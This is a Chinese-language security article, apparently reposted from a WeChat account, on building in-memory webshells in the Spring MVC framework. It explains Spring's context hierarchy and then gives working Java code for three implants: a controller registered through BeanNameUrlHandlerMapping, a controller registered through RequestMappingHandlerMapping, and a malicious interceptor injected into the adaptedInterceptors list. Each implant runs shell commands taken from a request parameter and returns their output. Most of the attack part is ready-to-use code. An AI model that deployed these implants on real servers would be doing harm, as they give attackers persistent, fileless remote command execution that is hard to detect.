Java安全之Spring框架内存马技术总结

admin 2025年3月10日22:52:54评论9 views字数 19964阅读66分32秒阅读模式
  目录

一.RING MVC 工作原理

1.1 DispatcherServlet
1.2 ContextLoaderListener
1.3 ApplicationContext
1.4 内存马构造思路
二. 获取ROOT CONTEXT

2.1 ContextLoader.getCurrentWebApplicationContext()

2.2 WebApplicationContextUtils.getWebApplicationContext()

2.3 servletContext.getAttribute()

三. 获取CHILD CONTEXT

3.1 利用RequestContextUtils

3.2 Request. getAttribute()

四. 手动注册CONTROLLER

4.1 BeanNameUrlHandlerMapping

4.2 RequestMappingHandlerMapping

五. INTERCETOR型内存马

六. REFERENCE

 一、Spring mvc 工作原理
在学习如何获取一个spring内存马之前,我们可以先来学习一下spring框架的流程机制和工作原理。
 先来写个简单的controller,下断点。

Java安全之Spring框架内存马技术总结

调试观察调用栈,可以从中大概学习到spring-mvc从接受到一个request请求后是怎么处理的。

Java安全之Spring框架内存马技术总结

1、客户端向web服务器发送一个http请求,web服务器对http请求进行解析,解析后的URL地址如果匹配了DispatcherServlet的映射路径(通过web.xml中的servlet-mapping配置),web容器就将请求交给DispatcherServlet处理。

2、DispatcherServlet接收到这个请求后,再对URL进行解析,得到请求资源标识符(URI)。然后调用相应方法得到的HandlerMapping对象,再根据URI,调用这个对象的相应方法获得Handler对象以及它对应的拦截器。(在这里只是获得了Handler对象,并不会操作它,在SpringMVC中,是通过HandlerAdapter对Handler进行调用、控制的)

3、DispatcherServlet根据得到的Handler对象,选择一个合适的HandlerAdapter,创建其实例对象,执行拦截器中的preHandler()方法。

4、在拦截器方法中,提取请求中的数据模型,填充Handler入参,所以所有准备工作都已做好,开始执行Handler(我们写的controller代码并不是能被直接执行,需要有刚才那些操作,才能转变为Handler被执行)。

5、Handler执行完毕后返回一个ModelAndView对象给DispatcherServlet。

6、DispatcherServlet通过Model将ModelAndView中得到的处数据解析后用于渲染视图。将得到的最终视图通过http响应返回客户端。

1.1DispatcherServlet

从上可以看到DispatcherServlet是整个Spring MVC的核心。它负责接收HTTP请求组织协调Spring MVC的各个组成部分,另外,DispatcherServlet实质是一个servlet,

web.xml中相关配置如下:

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"

         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"

         version="4.0">

    <context-param>

        <param-name>contextConfigLocation</param-name>

        <param-value>/WEB-INF/applicationContext.xml</param-value>

    </context-param>

    <listener>

        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>

    </listener>

    <servlet>

        <servlet-name>dispatcher</servlet-name>

        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>

        <load-on-startup>1</load-on-startup>

        <init-param>

            <param-name>contextConfigLocation</param-name>

            <param-value>/WEB-INF/dispatcher-servlet.xml</param-value>

        </init-param>

    </servlet>

    <servlet-mapping>

        <servlet-name>dispatcher</servlet-name>

        <url-pattern>/</url-pattern>

    </servlet-mapping>

</web-app>

dispatcher-servlet.xml

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping"/>

    <bean class="org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter"/>

    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">

        <property name="prefix" value="/WEB-INF/jsp/"/>

        <property name="suffix" value=".jsp"/>

    </bean>

    <bean id="/hello" class="com.controller.HelloController"/>

</beans>

DispatcherServlet初始化完成后,会创建一个普通的 Child Context 实例。

1.2ContextLoaderListener

ContextLoaderListener实现了ServletContextListener接口,在web.xml配置这个监听器,启动容器时,就会默认执行它实现的方法。另外在ContextLoaderListener中继承了ContextLoader这个类,所以整个加载配置过程由ContextLoader来完成,总的来说,ContextLoaderListener监听器的作用就是启动Web容器时,自动装配ApplicationContext的配置信息。
如果是要自定义文件名可以在web.xml里加入contextConfigLocation这个context参数:

<context-param> 

        <param-name>contextConfigLocation</param-name> 

        <param-value> 

            /WEB-INF/classes/applicationContext-*.xml  

        </param-value> 

    </context-param>

如果在web.xml中不写任何参数配置信息,默认的路径是/WEB-INF/applicationContext.xml,在WEB-INF目录下创建的xml文件的名称必须是applicationContext.xml;

1.3ApplicationContext

ApplicationContext是BeanFactory的子接口,在基于Spring的Java EE应用中,所有的组件都被当成Bean处理,包括数据源,Hibernate的SessionFactory、事务管理器等,BeanFactory是Spring容器最基本的接口,BeanFactory负责配置、创建、管理Bean,如果说BeanFactory是Sping的心脏,那么ApplicationContext就是完整的身躯。
ApplicationContext接口的常用实现类介绍:

类名称

功 能 描 述

ClassPathXmlApplicationContext

从类路径ClassPath中寻找指定的XML配置文件,找到并装载,完成ApplicationContext的实例化工作。例如:

//装载单个配置文件实例化ApplicationContext容器

ApplicationContext cxt = new ClassPathXmlApplicationContext("applicationContext.xml");

FileSystemXmlApplicationContext

从指定的文件系统路径中寻找指定的XML配置文件,找到并装载,完成ApplicationContext的实例化工作。例如:

 //装载单个配置文件实例化ApplicationContext容器

ApplicationContext cxt = new FileSystemXMLApplicationContext("beans.xml");

XmlWebApplicationContext

从Web应用中的寻找指定的XML配置文件,找到并装载,完成ApplicationContext的实例化工作。这是为Web工程量身定制的,使用WebApplicationContextUtils类的getRequiredWebApplicationContext方法可在JSP与Servlet中取得IoC容器的引用

关于spring中的context:

• Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context

• 所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean

• 所有的Context在创建后,都会被作为一个属性添加到了 ServletContext中

在web容器启动时,会触发容器初始化事件,此时contextLoaderListener会监听到这个事件,其contextInitialized方法会被调用,在这个方法中,spring会初始化一个启动上下文,这个上下文被称为根上下文,即WebApplicationContext,这是一个接口类,(它继承自ApplicationContext,在ApplicationContext的基础上又追加了一些特定于Web的操作及属性),确切的说,其实际的实现类是XmlWebApplicationContext,其对应的Bean定义的配置由web.xml中的context-param标签指定。
contextLoaderListener监听器初始化完毕后,开始初始化web.xml中配置的Servlet,这个servlet可以配置多个,以最常见的DispatcherServlet为例,也就是我们上面讲的,这个servlet实际上是一个标准的前端控制器,用以转发、匹配、处理每个servlet请求。而DispatcherServlet上下文在初始化的时候会建立自己的IoC上下文,也就是 Child Context,用以持有spring mvc相关的bean,这个servlet自己持有的上下文默认实现类也是XmlWebApplicationContext.
初始化完毕后,spring以与servlet的名字相关的属性为属性Key,也将其存到ServletContext中,以便后续使用。这样每个servlet就持有自己的上下文,即拥有自己独立的bean空间,同时各个servlet共享相同的bean,即root context定义的那些bean。这也就是为什么说所有Child Context都可以访问在Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的bean.

1.4内存马构造思路

综上,构造一个Spring内存马的主要思路如下,首先需要先获取到当前代码执行环境的IoC容器 ApplicationContext,然后利用获取到的ApplicationContext可以操作管理bean,也就可以手动注册一个controller,最后再在controller逻辑中写入webshell
所以总结来说,获取spring内存马的技术难点主要有一下这些,

• 在不使用注解和修改配置文件的情况下,使用纯 java 代码来获得当前代码运行时的上下文环境

• 在不使用注解和修改配置文件的情况下,在上下文环境中手动注册一个 controller

• 在controller 中写入 WebShell 逻辑

二、获取Root context

2.1ContextLoader.getCurrentWebApplicationContext()

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

 由上面的介绍我们可以了解到Root context 是由contextLoaderListener触发监听后ContextLoader所创建,ContextLoader类中也相应的获取方法,也就是getCurrentWebApplicationContext方法,这里获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。

Java安全之Spring框架内存马技术总结

2.2 WebApplicationContextUtils.getWebApplicationContext()

思路:所有的Context在创建后,都会被作为一个属性添加到了ServletContext中,借助servletContext获取Root Context。

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

使用RequestContextUtils.getWebApplicationContext去获取ServletContext(),但是在较新spring版本中已经没有该方法了。
此方法获得的也是一个Root WebApplicationContext。
注意:servlet-api资源中的HttpServletRequest对象中并没有ServletRequest的getServletContext()方法,ServletRequest的getServletContext方法是Servlet3.0添加的,servlet-api是servlet 3.0版本之前的地址,javax.servlet-api 是servlet 3.0 版本之后的地址,测试时需要修改为如下,将servlet-api依赖换成javax-servlet-api:

    <dependency>

      <groupId>javax.servlet</groupId>

      <artifactId>javax.servlet-api</artifactId>

      <version>3.1.0</version>

      <scope>provided</scope>

 </dependency>

2.3 servletContext.getAttribute()

思路:同样是借助servletContext来获取,不过利用的是getAttribute

ServletContext servletContext = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext();

WebApplicationContext context = (WebApplicationContext) servletContext.getAttribute("org.springframework.web.context.WebApplicationContext.ROOT");

三、获取Child context

3.1利用RequestContextUtils

思路:request中也存放着Child Context,所以也可以借助request

HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();

WebApplicationContext context = RequestContextUtils.findWebApplicationContext(request);

//RequestContextUtils.getWebApplicationContext(request); //较新spring版本中已没有getWebApplicationContext方法

 此方法获取的是名为dispatcherServlet-servlet的Child context

Java安全之Spring框架内存马技术总结

3.2 Request. getAttribute()

思路:同样是借助request获取,不过这里利用的是getAttribute

WebApplicationContext context = (WebApplicationContext) ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT");或者

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

其中,RequestContextHolder.currentRequestAttributes()用来获取ServletContext;
getAttribute方法 参数中的 0代表从当前 request 中获取而不是从当前的 session 中获取属性值。
ps:这里要注意的是一般都是利用获取Child Context去注入内存马,原因是因为大部分开发者根据开发的习惯,在注册Controller 的 component-scan 组件时一般都会配置在类似的 dispatcherServlet-servlet.xml 中,而不是全局配置文件applicationContext.xml 中,这样就导致 映射器(例如RequestMappingHandlerMapping) 的实例 bean 只存在于 Child WebApplicationContext 环境中。并且,上面已经提过Root Context无法访问Child Context中定义的 bean,反过来就可以,所以最好使用采用获取Child Context的方法。
四、 手动注册Controller
通过上面的介绍已经可以获取到当前代码执行环境的IoC容器 ApplicationContext,下面就是需要利用contexts手动注册一个controller,这里介绍利用BeanNameUrlHandlerMapping 和RequestMappingHandlerMapping映射器去完成注册Controller的方法。

Java安全之Spring框架内存马技术总结

4.1 BeanNameUrlHandlerMapping

Demo代码如下:

package org.vul.RegistController;

import org.springframework.web.servlet.ModelAndView;

import org.springframework.web.servlet.mvc.Controller;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.PrintWriter;

public class SSOLogin implements Controller {

    public ModelAndView handleRequest(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws Exception {

        try {

            String arg0 = httpServletRequest.getParameter("code");

            PrintWriter writer = httpServletResponse.getWriter();

            if (arg0 != null) {

                String o = "";

                java.lang.ProcessBuilder p;

                if(System.getProperty("os.name").toLowerCase().contains("win")){

                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});

                }else{

                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});

                }

                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");

                o = c.hasNext() ? c.next(): o;

                c.close();

                writer.write(o);

                writer.flush();

                writer.close();

            }else{

                httpServletResponse.sendError(404);

            }

        }catch (Exception e){

        }

        return null;

    }

}

package org.vul.controller;

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.ResponseBody;

import org.springframework.web.context.request.RequestContextHolder;

import org.springframework.web.context.support.XmlWebApplicationContext;

import org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping;

import org.vul.RegistController.SSOLogin;

import java.lang.reflect.Method;

@Controller

public class Test1 {

    @RequestMapping("/test1")

    @ResponseBody

    public String test(){

        try {

            XmlWebApplicationContext context = (XmlWebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

            context.getBeanFactory().registerSingleton("/SSOLogin",new SSOLogin());

            BeanNameUrlHandlerMapping beanNameUrlHandlerMapping=context.getBean(BeanNameUrlHandlerMapping.class);

            Method detectHandlersMethod=Class.forName("org.springframework.web.servlet.handler.AbstractDetectingUrlHandlerMapping").getDeclaredMethod("detectHandlers");

            detectHandlersMethod.setAccessible(true);

            detectHandlersMethod.invoke(beanNameUrlHandlerMapping);

            return "1";

        }catch (Exception e){

            return "0";

        }

    }

}

Java安全之Spring框架内存马技术总结

4.2RequestMappingHandlerMapping

Spring 2.5开始到 Spring 3.1 之前一般使用 org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping 映射器 ;
Spring 3.1开始及以后一般开始使用新的org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping 映射器来支持@Contoller和@RequestMapping注解。

Demo代码:

package org.vul.controller;

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.ResponseBody;

import org.springframework.web.context.WebApplicationContext;

import org.springframework.web.context.request.RequestContextHolder;

import org.springframework.web.context.request.ServletRequestAttributes;

import org.springframework.web.context.support.XmlWebApplicationContext;

import org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping;

import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;

import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;

import org.springframework.web.servlet.mvc.method.RequestMappingInfo;

import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import org.vul.RegistController.SSOLogin;

import org.vul.RegistController.SpringControllerMemShell;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.IOException;

import java.io.PrintWriter;

import java.lang.reflect.Method;

@Controller

public class Test2 {

    @RequestMapping("/test2")

    @ResponseBody

    public String test2(){

        try {

            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

            Method method2 = SpringControllerMemShell.class.getMethod("test");

            PatternsRequestCondition url = new PatternsRequestCondition("/aaa");

            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

            RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

            SpringControllerMemShell springControllerMemShell = new SpringControllerMemShell("aaa");

            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

            return "1";

        }catch (Exception e){

            return "0";

        }

    }

}

package org.vul.RegistController;

import org.springframework.web.context.request.RequestContextHolder;

import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.IOException;

import java.io.PrintWriter;

public class SpringControllerMemShell {

    public SpringControllerMemShell(String aaa) {

    }

    public void test() throws IOException {

        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();

        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        try {

            String arg0 = request.getParameter("cmd");

            PrintWriter writer = response.getWriter();

            if (arg0 != null) {

                String o = "";

                ProcessBuilder p;

                if (System.getProperty("os.name").toLowerCase().contains("win")) {

                    p = new ProcessBuilder(new String[]{

                            "cmd.exe", "/c", arg0});

                } else {

                    p = new ProcessBuilder(new String[]{

                            "/bin/sh", "-c", arg0});

                }

                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");

                o = c.hasNext() ? c.next() : o;

                c.close();

                writer.write(o);

                writer.flush();

                writer.close();

            } else {

                response.sendError(404);

            }

        } catch (Exception e) {

        }

    }

}

五、 Intercetor型内存马
上面介绍的利用注册controller的方式可以称为controller内存马,还有另外种方式可以达到内存马的效果,就是利用拦截器。
举个简单的例子,拦截器可以用在权限验证,比如在访问后台资源的时候,经过拦截器看请求有没有进行身份验证,身份验证通过后放行,否则跳转会后台登陆页面,那么我们可以自定义个拦截器,在其中插入命令执行和回显逻辑,再将这个自定义的拦截器注册到context中,那么每次访问控制器时都会执行一遍我们自定义拦截器中的恶意代码,来看看怎么实现:
定义拦截器必须实现HandlerInterceptor接口,HandlerInterceptor接口中有三个方法:

1.preHandle方法是controller方法执行前拦截的方法

–可以使用request或者response跳转到指定的页面

–return true放行,执行下一个拦截器,如果没有拦截器,执行controller中的方法。

–return false不放行,不会执行controller中的方法。

2.postHandle是controller方法执行后执行的方法,在JSP视图执行前。

–可以使用request或者response跳转到指定的页面

–如果指定了跳转的页面,那么controller方法跳转的页面将不会显示。

3.afterCompletion方法是在JSP执行后执行

–request或者response不能再跳转页面了

这里就不跟入拦截器的调用流程了,调试详情可以参考这篇文章:https://myzxcg.com/2021/11/Spring-%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E7%8E%B0/#contextloaderlistener%E4%B8%8Edispatcherservlet

来看下实现内存马的demo代码:

    package org.vul.controller;

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.ResponseBody;

import org.springframework.web.context.WebApplicationContext;

import org.springframework.web.context.request.RequestContextHolder;

import org.springframework.web.context.request.ServletRequestAttributes;

import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import org.springframework.web.servlet.support.RequestContextUtils;

import org.vul.RegistInterceptor.magicInterceptor;

@Controller

public class Test3 {

    //Interceptor内存马

    @RequestMapping("/test3")

    @ResponseBody

    public String test3(){

        try {

            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

//从requestMappingHandlerMapping中获取adaptedInterceptors属性 老版本是DefaultAnnotationHandlerMapping

            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);

            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");

            field.setAccessible(true);

            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);

            //添加magicInterceptor类到adaptedInterceptors

            adaptedInterceptors.add(new magicInterceptor());

            return "1";

        }catch (Exception e){

            return "0";

        }

    }

}

    package org.vul.RegistInterceptor;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

public class magicInterceptor extends HandlerInterceptorAdapter {

    @Override

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {

        String code = request.getParameter("code");

        if(code != null){

            try {

                java.io.PrintWriter writer = response.getWriter();

                String o = "";

                ProcessBuilder p;

                if(System.getProperty("os.name").toLowerCase().contains("win")){

                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});

                }else{

                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});

                }

                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");

                o = c.hasNext() ? c.next(): o;

                c.close();

                writer.write(o);

                writer.flush();

                writer.close();

            }catch (Exception e){

            }

            return false;

        }

        return true;

    }

}

六、 Reference

https://l3yx.github.io/2020/03/31/Java-Web%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%9B%9E%E6%98%BE%E6%80%BB%E7%BB%93/

https://www.freebuf.com/articles/web/287989.html

https://copyfuture.com/blogs-details/202204220252518361#14ControllerSpringboot260__299

https://myzxcg.com/2021/11/Spring-%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E7%8E%B0/#contextloaderlistener%E4%B8%8Edispatcherservlet

原文始发于微信公众号(SAINTSEC):Java安全之Spring框架内存马技术总结

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月10日22:52:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全之Spring框架内存马技术总结https://cn-sec.com/archives/3823103.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息